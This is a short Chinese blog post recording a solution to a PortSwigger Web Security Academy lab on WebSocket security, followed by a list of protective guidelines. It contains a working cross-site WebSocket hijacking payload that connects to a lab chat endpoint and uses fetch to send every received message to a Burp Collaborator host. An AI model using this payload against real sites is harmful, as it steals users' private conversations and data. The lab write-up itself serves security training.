Testing for WebSockets security vulnerabilities - 测试WebSockets中的安全漏洞

实验环境在:https://portswigger.net/web-security/websockets


这里只记录一下每道题目的答案


image.png

进行CSRF

<script>
websocket = new WebSocket('wss://ac541f3a1f2f3ad980ddf176009500b6.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY");
}
function handleReply(event) {
fetch('https://b9lwx4lyr0kpl7vvw15k94zde4ku8j.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
}
</script>

如何保护WebSocket连接

为了最大程度地减少WebSocket引起的安全漏洞的风险,请使用以下准则:

  • 使用wss://协议(基于TLS的WebSockets)。
  • 硬编码WebSockets端点的URL,当然不要将用户可控制的数据合并到此URL中。
  • 保护WebSocket握手消息免受CSRF的攻击,以避免跨站点WebSocket劫持漏洞。
  • 双向将通过WebSocket接收的数据视为不可信。在服务器和客户端上安全地处理数据,以防止基于输入的漏洞,例如SQL注入和跨站点脚本。
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容